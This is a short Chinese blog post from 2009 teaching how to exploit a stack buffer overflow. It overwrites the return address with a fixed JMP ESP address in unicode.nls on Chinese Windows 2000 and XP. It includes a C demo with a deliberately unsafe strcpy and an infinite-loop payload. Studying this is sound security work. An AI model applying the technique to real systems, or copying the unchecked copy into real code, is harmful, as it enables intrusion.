利用跳转地址定位ShellCode

      要想让程序跳转到EIP处继续执行,首先就是控制程序EIP,术语叫作"定位溢出点".覆盖返回地址后,ESP寄存器是指向ShellCode的,如果能够在内存中找到的一条指令,可以跳转到ESP处执行,即可用这些指令的地址来覆盖溢出点.同时,该指令必须满足两个条件:1,地址中不包含\x00等字符;2,地址必须相对固定.在unicode.nls中就有这样的地址,unicode.nls是计算机系统的语言代码页文件,在某个语系的系统中,这个文件会加载到每个进程中,而且加载地址都是固定的.在中文版的Win2000,WinXP各个SP版本中,0x7FFA4512都是JMP ESP指令.
      示例代码如下,本程序以\xEB\xFE作为最简单的ShellCode,这个两个字节的机器码即是使EIP往回跳两个字节,从而让程序陷入死循环.
1 #include <stdio.h>
2 #include <string.h>
3 char evil[]="AAAABBBB\x12\x45\xFA\x7F\xEB\xFE";
4 int main(){
5     char buf[4];
6     strcpy(buf,evil);
7     return 0;
8 }

posted on 2009-09-10 11:44  Joshua Leung  阅读(880)  评论(0编辑  收藏  举报

导航